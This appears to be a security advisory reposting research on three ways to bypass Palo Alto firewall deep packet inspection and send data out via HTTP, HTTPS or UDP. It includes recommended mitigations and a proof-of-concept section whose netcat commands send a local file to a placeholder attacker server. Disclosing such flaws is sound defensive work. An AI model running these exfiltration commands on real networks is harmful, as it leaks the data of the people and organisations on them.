📄 Palo Alto Deep Packet Inspection Information Disclosure

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    | # Title     : Palo Alto Deep Packet Inspection (DPI) Critical Vulnerabilities in Mechanism                                                |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits)                                                            |
    | # Vendor    : https://www.paloaltonetworks.com/network-security/pan-os                                                                    |
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    POC :
    
    [+] Summary
    
       3 vulnerabilities in Palo Alto Deep Packet Inspection mechanism  
       Advisory URL: https://pierrekim.github.io/advisories/2025-palo-alto-dpi.txt  
       Blog URL: https://pierrekim.github.io/blog/2025-03-31-paloalto-dpi-3-vulnerabilities.html  
    
    [+] :: Product Description ::
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       Palo Alto’s Next-Generation Firewalls provide advanced packet inspection technologies including Deep Packet Inspection (DPI).  
        They use App-ID technology to identify applications even when they attempt to evade detection through masquerading, port hopping, or encryption.
    
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    [+] :: Vulnerability Summary ::
       ------------------------------------------------------------
       Vulnerable versions: **All Palo Alto firewall versions**.
    
      Versions tested (November 2024):  
      - PanOS 10.2.8 – vulnerable  
      - PanOS 10.2.9-h1 – vulnerable  
      - PanOS 11.1.4 – vulnerable  
      - PanOS 11.2.0 – vulnerable  
    
    [+] Three main vulnerabilities:
    
       1. **Exfiltration of data via TCP/80 using “service-http”**  
       2. **Exfiltration of data via TCP/443 using “service-https”**  
       3. **Exfiltration of data via UDP to any port and any IP**  
       - Includes PoC: client.py and server.py
    
    
    [+] :: Impact ::
    ------------------------------------------------------------
      An attacker within the LAN can:  
      - Bypass Deep Packet Inspection  
      - Exfiltrate sensitive data to any external IP  
      - Using HTTP, HTTPS, or UDP  
      - Without any filtering or blocking  
    
       This makes networks relying solely on DPI rules **highly vulnerable to data exfiltration attacks**.
    
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    [+] :: Recommendations ::
       ------------------------------------------------------------
       - Do not use DPI rules without specifying destination IP ranges.  
       - Always define IPv4/IPv6 ranges of allowed remote services.  
       - Use Palo Alto EDL when possible.  
       - Do not rely solely on App-ID to classify sensitive applications.  
    
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    [+] :: PoC Summary ::
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    **Server (attacker on WAN) – listening on port 80:**
    
        for i in $(seq 1 10); do nc -l -v -p 80 > exfiltration-http-$i; sleep 1; done
    
    **Client (inside LAN) – sending random data:**
    
        for i in $(seq 1 10); do nc -v <SERVER-IP> 80 < rand.hex; sleep 1.5; done
    
    **Verification:**
    
        sha256sum exfiltration-http-*
    
    All received files match the original hash — confirming successful data exfiltration through the firewall.
    
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    [+] :: Full Attack Execution (Working PoC) ::
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    1. On the attacker/server side:
    
        nc -l -v -p 80 > exfil-file
    
    2. On the victim/client side inside LAN:
    
        nc -v <SERVER-IP> 80 < file-to-exfiltrate.bin
    
    3. The server receives the data despite DPI rules.
    
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    [+] :: Conclusion ::
    ------------------------------------------------------------
    The Deep Packet Inspection system in Palo Alto firewalls can be fully bypassed to leak data via HTTP/HTTPS/UDP without filtering.  
    Because the engine allows up to 256 KB before blocking, attackers can exfiltrate massive amounts of information.
    
    **All networks relying solely on App-ID or DPI without strict IP-based rules are at severe risk of data exfiltration.**
    
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
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